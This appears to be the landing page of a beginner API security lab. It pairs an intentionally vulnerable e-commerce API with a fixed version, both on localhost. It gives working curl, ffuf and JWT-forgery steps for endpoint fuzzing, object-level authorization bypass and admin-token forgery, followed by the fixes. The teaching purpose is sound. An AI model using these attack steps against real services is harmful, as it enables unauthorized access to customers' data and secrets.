Free · Hands-on · Beginner friendly

Break a real app.
Learn API Security.

Two versions of the same e-commerce store — one vulnerable, one fixed. Attack both and see exactly what secure code does differently.

Start the Lab View on GitHub
2
app versions
4
attacks
8
fixes explained
free
forever
// two apps, one lesson

Vulnerable vs Secure

Both apps are identical ShopEasy stores with the same data, pages and features. The only difference is the code underneath.

ShopEasy — Vulnerable :5000

Intentionally broken API. Every vulnerability from the OWASP API Top 10 that we cover is present and exploitable. This is where you practice your attacks.

  • Hardcoded JWT secret (secret123)
  • Role trusted from JWT payload
  • No ownership checks on orders
  • Messages BOLA via query param
  • Debug endpoint leaks secrets
  • Admin routes need no auth
  • Passwords stored in plaintext
ShopEasy — Secure :5001

Every vulnerability fixed. Run the same attacks against this version and observe the difference — 403s, 401s, and silence where the vulnerable app gave full access.

  • Random 256-bit JWT secret at startup
  • Role always fetched from database
  • Ownership verified on every order
  • user_id from token only, never params
  • Debug endpoint does not exist
  • Admin routes require auth + DB role check
  • Passwords hashed, never returned

// getting started

Lab setup

Both apps run locally in Docker simultaneously. No accounts, no cloud, no fees.

ShopEasy Vulnerable is intentionally broken software. Run it only on your local machine. Never expose it on a public network or deploy it to a server.

Step 1 — Install Docker

Docker runs both apps in isolated containers. Install for your operating system.

terminal
sudo apt update sudo apt install -y docker.io docker-compose sudo systemctl start docker sudo systemctl enable docker # Allow docker without sudo (log out and back in after) sudo usermod -aG docker $USER

Verify: docker --version

Step 2 — Clone and start both apps

clone

Get the files

Pull the repo to your machine.

terminal
git clone https://github.com/secretguard/shopeasy.git cd shopeasy
start both

Launch both apps

One command starts both simultaneously.

terminal — from shopeasy/
cd shopeasy docker compose up --build -d
verify

Open both stores

Open in two browser tabs side by side.

browser
http://localhost:5000 ← Vulnerable (red brand) http://localhost:5001 ← Secure (green brand)
stop

Shut down when done

Stops both containers cleanly.

terminal
docker compose down
Want to run only one app at a time? Each has its own folder: cd shopeasy-vulnerable && docker compose up --build -d starts only the vulnerable app on port 5000. Same for shopeasy-secure on port 5001.

Test accounts

Same accounts exist on both apps.

UsernamePasswordRoleUser IDUsed for
alicealice123user1Primary attacker account
bobbob456user2BOLA victim
charliecharlie789user3BOLA victim
adminadminpassadmin4Target of JWT + Message attacks

// tools

What you'll use

All five tools are free and open-source. Kali Linux users have most of them already.

curl pre-installed
Command-line HTTP client. Makes API requests — GET, POST, with headers and JSON bodies. The primary tool for all four attacks.
sudo apt install curl
ffuf pre-installed on Kali
Fuzz Faster U Fool. Discovers hidden API endpoints by trying thousands of path names from a wordlist at high speed.
sudo apt install ffuf
Python 3 pre-installed
Used for parsing JSON output from curl, and for writing the JWT cracking and forgery scripts.
sudo apt install python3
PyJWT pip install
Python library for creating, signing, and verifying JSON Web Tokens. Required for the JWT crack and forgery exercise.
pip3 install PyJWT --break-system-packages
Docker required
Runs both ShopEasy apps in isolated containers. One compose command builds and starts everything.
see Setup section above

Install all at once (Kali / Ubuntu)

terminal
sudo apt update sudo apt install -y curl ffuf python3 python3-pip pip3 install PyJWT --break-system-packages # Verify everything is ready curl --version | head -1 ffuf -V python3 -c "import jwt; print('PyJWT', jwt.__version__)"
PyJWT conflict: If you see AttributeError: module 'jwt' has no attribute 'decode', fix with: pip3 install --upgrade --force-reinstall PyJWT --break-system-packages

// part one

Attacking the vulnerable app

localhost:5000

All four attacks work on this version. Work through them in order — each one builds on the previous.

🔴 All commands in this section target port 5000 — the vulnerable version. Make sure it's running before you start.
🔍
API Fuzzing
Discover hidden endpoints the API never told you about.
API8 — Misconfiguration
📦
BOLA — Orders
Access any customer's order by changing one number in the URL.
API1 — Broken Object Auth
🪙
JWT Forgery
Crack the weak secret, forge an admin token, unlock the panel.
API2 — Broken Auth
💬
BOLA — Messages
Read the admin's private inbox by changing a query parameter.
API1 — Broken Object Auth
What is fuzzing?
Developers often leave behind debug routes, admin panels, and backup endpoints they forget to remove before going live. Fuzzing automates the search — we give a tool a list of common path names and let it try each one against the API, reporting back anything that responds with a non-404 status code.
1

Create the wordlist

Save this as ~/api-wordlist.txt.

terminal
2

Run the fuzzer against the vulnerable app

terminal — port 5000
ffuf -u http://localhost:5000/api/FUZZ \ -w ~/api-wordlist.txt \ -mc 200,201,301,302,403,500 \ -v
output — 5 hidden endpoints discovered
[Status: 200] GET http://localhost:5000/api/internal/metrics [Status: 200] GET http://localhost:5000/api/backup [Status: 200] GET http://localhost:5000/api/debug/config ← leaks JWT secret [Status: 200] GET http://localhost:5000/api/admin/users ← no auth required [Status: 200] GET http://localhost:5000/api/admin/orders ← no auth required
3

Investigate the hits

terminal — leaks JWT secret + internals
curl -s http://localhost:5000/api/debug/config | python3 -m json.tool
response
{ "debug": true, "environment": "production", "jwt_secret": "secret123", "database": "/tmp/shopeasy.db" }
terminal — all users + plaintext passwords, zero auth
curl -s http://localhost:5000/api/admin/users | python3 -m json.tool
response
[ { "username":"alice", "password":"alice123" }, { "username":"admin", "password":"adminpass", "role":"admin" } ]
Key insight: Fuzzing is always the first step. In under a second it found the JWT secret and all plaintext passwords — making every other attack trivial.
attack chain this unlocks
ffuf→ /api/debug/configjwt_secret = "secret123"
ffuf→ /api/admin/usersall passwords in plaintext
secret→ forge JWT with role=adminfull admin access
passwords→ login directly as adminbypasses JWT entirely
Authentication vs Authorization
Authentication = "who are you?" — proving your identity with a login.
Authorization = "are you allowed to do this?" — checking ownership.

BOLA — #1 in the OWASP API Top 10 — means the API checks that you're logged in (✅) but never checks that the resource belongs to you (❌).
1

Log in as Alice and save token

terminal — port 5000
TOKEN=$(curl -s -X POST http://localhost:5000/api/login \ -H "Content-Type: application/json" \ -d '{"username":"alice","password":"alice123"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") echo $TOKEN
2

Access Alice's own order — expected

terminal
curl -s http://localhost:5000/api/orders/1 \ -H "Authorization: Bearer $TOKEN" | python3 -m json.tool
3

The attack — access Bob's order

Change /orders/1 to /orders/3. Order #3 belongs to Bob.

terminal
curl -s http://localhost:5000/api/orders/3 \ -H "Authorization: Bearer $TOKEN" | python3 -m json.tool
response — Bob's order, read by Alice
{ "order_id": 3, "owner_username": "bob", "shipping_address": "88 Oak Ave, Portland", "card_last4": "5678" }
Alice just read Bob's home address and card digits using only her own valid login token — just by changing a number in the URL.
4

Enumerate all orders

terminal
for i in 1 2 3 4 5; do echo "===== Order $i =====" curl -s http://localhost:5000/api/orders/$i \ -H "Authorization: Bearer $TOKEN" | python3 -m json.tool echo "" done
What is a JWT?
A JSON Web Token has three Base64-encoded parts: header.payload.signature. The payload holds claims like your role — visible to anyone with the token. The signature prevents tampering only if the secret is strong and the server validates it properly.
1

Get a token and decode it

terminal — port 5000
TOKEN=$(curl -s -X POST http://localhost:5000/api/login \ -H "Content-Type: application/json" \ -d '{"username":"alice","password":"alice123"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") curl -s -X POST http://localhost:5000/api/jwt/decode \ -H "Content-Type: application/json" \ -d "{\"token\": \"$TOKEN\"}" | python3 -m json.tool
decoded — note the role claim in the payload
{ "payload": { "user_id":1, "username":"alice", "role":"user", "exp":1720000000 } }
2

Crack the signing secret

terminal
echo $TOKEN > alice.jwt
jwt_crack.py — save then run: python3 jwt_crack.py
output
[-] Not: secret [+] SECRET FOUND: secret123
3

Forge an admin token

terminal
4

Use the forged token

terminal — port 5000
curl -s http://localhost:5000/api/admin/secret \ -H "Authorization: Bearer $FORGED" | python3 -m json.tool
response — admin panel unlocked
"message": "🔓 Admin panel unlocked via JWT forgery!" "flag": "FLAG{jwt_role_escalation_success}" "stripe_secret": "sk_live_4eC39HqLyjWDarjtT1zdp7dc" "db_password": "Sup3rS3cr3t!"
BOLA comes in many forms.
In the Orders attack the vulnerable ID was in the URL path (/orders/3). Here it's in a query parameter (?user_id=4). Same root cause — API accepts an object ID from the client without verifying ownership — just in a different location.
1

Read Alice's own messages

terminal — port 5000
curl -s "http://localhost:5000/api/messages?user_id=1" \ -H "Authorization: Bearer $TOKEN" | python3 -m json.tool
2

The attack — change user_id to 4

terminal
curl -s "http://localhost:5000/api/messages?user_id=4" \ -H "Authorization: Bearer $TOKEN" | python3 -m json.tool
response — admin's private inbox read by Alice
[ { "subject": "ADMIN: Stripe secret key", "body": "sk_live_4eC39HqLyjWDarjtT1zdp7dc — do not share" }, { "subject": "ADMIN: DB backup creds", "body": "Host: db.internal, user: root, pass: Sup3rS3cr3t!" } ]
3

Enumerate all inboxes

terminal
for i in 1 2 3 4; do echo "===== Inbox of user $i =====" curl -s "http://localhost:5000/api/messages?user_id=$i" \ -H "Authorization: Bearer $TOKEN" | python3 -m json.tool echo "" done

// part two

Attacking the secure app

localhost:5001

Run every attack again — this time against the fixed version. See exactly how each fix responds.

🟢 All commands in this section target port 5001 — the secure version. The same attacks, the same technique — different outcomes.
1

Run the exact same fuzzer command

Only the port changes — everything else is identical.

terminal — port 5001
ffuf -u http://localhost:5001/api/FUZZ \ -w ~/api-wordlist.txt \ -mc 200,201,301,302,403,500 \ -v
output — complete silence
::: Progress: [38/38] ::: 0 results — no endpoints found
🔒 Why this works

The debug, backup, and internal metrics endpoints are simply not registered in the secure app. They return 404 — indistinguishable from any other non-existent path. The unauthenticated /api/admin/users route now requires a valid token with an admin role verified from the database. An attacker gets no foothold.

2

Try to access the debug endpoint directly

terminal
curl -s http://localhost:5001/api/debug/config | python3 -m json.tool
response
404 Not Found — this endpoint does not exist
3

Try to access admin users without a token

terminal
curl -s http://localhost:5001/api/admin/users | python3 -m json.tool
response
{ "error": "Authentication required" } 401
❌ Vulnerable :5000
GET /api/debug/config → 200 jwt_secret exposed GET /api/admin/users → 200 all passwords returned GET /api/backup → 200 backup creds exposed
✅ Secure :5001
GET /api/debug/config → 404 doesn't exist GET /api/admin/users → 401 auth required GET /api/backup → 404 doesn't exist
1

Get Alice's token from the secure app

terminal — port 5001
TS=$(curl -s -X POST http://localhost:5001/api/login \ -H "Content-Type: application/json" \ -d '{"username":"alice","password":"alice123"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") echo $TS
2

Try to access Bob's order

terminal
curl -s http://localhost:5001/api/orders/3 \ -H "Authorization: Bearer $TS" | python3 -m json.tool
response
{ "error": "You are not authorised to view this order" } 403
🔒 Why this works

The secure endpoint checks order.user_id == request.user.id before returning anything. Alice's user ID is 1, Bob's order belongs to user ID 2 — the check fails and a 403 is returned. Bob's address and card digits are never sent over the wire.

3

Alice's own order still works

terminal
curl -s http://localhost:5001/api/orders/1 \ -H "Authorization: Bearer $TS" | python3 -m json.tool

Returns Alice's order normally — the fix only blocks access to other users' orders, not your own.

❌ Vulnerable :5000
GET /api/orders/3 → 200 Returns Bob's address + card digits No ownership check exists
✅ Secure :5001
GET /api/orders/3 → 403 "You are not authorised to view this order" One ownership check added
1

Get a token and inspect the payload

terminal — port 5001
TS=$(curl -s -X POST http://localhost:5001/api/login \ -H "Content-Type: application/json" \ -d '{"username":"alice","password":"alice123"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") curl -s -X POST http://localhost:5001/api/jwt/decode \ -H "Content-Type: application/json" \ -d "{\"token\": \"$TS\"}" | python3 -m json.tool
decoded payload — notice what's missing
{ "payload": { "user_id": 1, "exp": 1720000000 }, "note": "Signature verified ✓" } ← No "role" claim. No "username". Nothing to forge.
🔒 First layer of defence

The secure app's token contains only user_id and exp. There is no role claim — so adding role: admin to a forged token is pointless because the server never reads it. The role is always fetched fresh from the database using the user_id.

2

Try to crack the secret

terminal
echo $TS > secure.jwt python3 jwt_crack.py # point it at secure.jwt
output
[-] Not: secret [-] Not: secret123 [-] Not: password ... (all 12 words tried) [!] Secret not in wordlist — too strong to crack
🔒 Second layer of defence

The secure app generates a random 256-bit secret at startup using secrets.token_hex(32). There are 2²⁵⁶ possible values — a wordlist attack is computationally impossible. Even with a GPU cluster running for years, the secret cannot be found by brute force.

3

Try using the forged token from before

Use the same forged token you created against the vulnerable app (signed with secret123) and send it to the secure app:

terminal — same FORGED token, different port
curl -s http://localhost:5001/api/admin/secret \ -H "Authorization: Bearer $FORGED" | python3 -m json.tool
response
{ "error": "Invalid or expired token" } 401 The token was signed with "secret123" but the secure app uses a different secret — the signature check fails immediately.
❌ Vulnerable :5000
Secret: "secret123" — crackable in seconds Token payload contains role claim Server trusts role from token blindly → Forged token grants full admin access
✅ Secure :5001
Secret: random 256-bit hex — uncrackable Token payload contains only user_id + exp Server fetches role from DB on every request → Forged token rejected at signature check
1

Try the attack — pass user_id=4 in the query

terminal — port 5001
curl -s "http://localhost:5001/api/messages?user_id=4" \ -H "Authorization: Bearer $TS" | python3 -m json.tool
response — Alice's own messages returned, not the admin's
[ { "subject": "Your order has been shipped!", "body": "Order #1 is on its way. Track: SE-20240110." } ] The ?user_id=4 parameter was silently ignored.
🔒 Why this works

The secure endpoint does not read user_id from the query string at all. It uses only request.user["id"] — the value extracted from the verified JWT, which was set at login and cannot be changed by the client. One line removed, BOLA eliminated.

2

Confirm with any user_id value

No matter what value you pass, you always get Alice's inbox:

terminal
for i in 1 2 3 4 99; do echo "=== Trying user_id=$i ===" curl -s "http://localhost:5001/api/messages?user_id=$i" \ -H "Authorization: Bearer $TS" | python3 -m json.tool echo "" done

All five return the same result — Alice's own shipping notification. The parameter has no effect.

❌ Vulnerable :5000
uid = request.args.get("user_id", request.user["user_id"]) # Client controls whose inbox is returned # ?user_id=4 → returns admin's messages
✅ Secure :5001
uid = request.user["id"] # Query parameter completely ignored # Always returns the token owner's messages

// results

All attacks — both apps

The same four techniques. Two different outcomes.

Attack Vulnerable :5000 Secure :5001 OWASP
API Fuzzing 5 endpoints found — JWT secret, all passwords, admin routes 0 endpoints found — complete silence API8:2023
BOLA — Orders 200 OK — Bob's address + card digits returned 403 Forbidden — ownership check blocks it API1:2023
JWT Forgery 200 OK — FLAG + Stripe key + DB password 401 Invalid token — wrong secret, rejected API2:2023
BOLA — Messages 200 OK — admin's Stripe key + DB creds Alice's own inbox — param silently ignored API1:2023
The real lesson: The fixes are not complicated — one ownership check, one removed endpoint, one stronger secret, one line of code deleted. The gap between vulnerable and secure is smaller than most people expect. The hard part is remembering to add these checks in the first place.